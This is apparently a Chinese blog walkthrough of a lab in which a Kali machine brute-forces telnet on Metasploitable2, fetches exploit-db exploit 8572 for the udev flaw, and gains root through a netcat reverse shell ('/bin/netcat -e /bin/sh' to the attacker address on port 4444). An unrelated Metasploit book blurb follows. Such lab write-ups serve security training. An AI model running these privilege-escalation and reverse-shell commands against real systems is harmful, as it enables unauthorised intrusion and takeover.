msfconsle telnet 登陆Metasploittable2提权

 

实验环境:

攻击机:kali linux 
ip:192.168.172.134
目标机:Metasploittable2
ip:192.168.172.129

攻击过程:

step1:爆破Metasploittable2的telnet登陆密码,用户名:msfadmin,密码:msfadmin     //用户非root权限

step2:msf 登陆Metasploittable2后,下载exp,

地址:wget http://www.exploit-db.com/download/8572              //下载不下来,需要在kali linux中下载,然后开启apache3服务,再wget 下载。

step3:kali 中设置nc监听

使用 netcat 进行监听 后期返回的shell。

命令:nc -lvp 4444

step4:msf 登陆Metasploittable2中,编译执行exp,获取root

命令:gcc 源文件  -o  exploit echo '#!/bin/sh' > /tmp/run                  //此时源文件为8572.c

命令:echo '/bin/netcat -e /bin/sh ip地址 4444' >> /tmp/run           //此时ip地址为192.168.172.134

命令:ps -edf | grep udev                         //搜索udev程序的pid

step5:执行exploit   具有root权限的pid -1 ./exploit 数字pid -1 

命令:./exploit  2178               //原来pid为2179

总结:telnet登陆Metasploittable2,后为非root用户,需要做的就是提权,这里用到的是exp,然后nc进行连接。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Metasploit Bootcamp by Nipun Jaswal English | 25 May 2017 | ASIN: B0725ZGX9H | 230 Pages | AZW3 | 16.52 MB Key Features A fast-paced guide that will quickly enhance your penetration testing skills in just 7 days Carry out penetration testing in complex and highly-secured environments. Learn techniques to Integrate Metasploit with industry's leading tools Book Description The book starts with a hands-on Day 1 chapter, covering the basics of the Metasploit framework and preparing the readers for a self-completion exercise at the end of every chapter. The Day 2 chapter dives deep into the use of scanning and fingerprinting services with Metasploit while helping the readers to modify existing modules according to their needs. Following on from the previous chapter, Day 3 will focus on exploiting various types of service and client-side exploitation while Day 4 will focus on post-exploitation, and writing quick scripts that helps with gathering the required information from the exploited systems. The Day 5 chapter presents the reader with the techniques involved in scanning and exploiting various services, such as databases, mobile devices, and VOIP. The Day 6 chapter prepares the reader to speed up and integrate Metasploit with leading industry tools for penetration testing. Finally, Day 7 brings in sophisticated attack vectors and challenges based on the user's preparation over the past six days and ends with a Metasploit challenge to solve. What you will learn Get hands-on knowledge of Metasploit Perform penetration testing on services like Databases, VOIP and much more Understand how to Customize Metasploit modules and modify existing exploits Write simple yet powerful Metasploit automation scripts Explore steps involved in post-exploitation on Android and mobile platforms. About the Author Nipun Jaswal is an IT security business executive and a passionate IT security researcher with more than seven years of professional experience, who possesses knowledge in

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值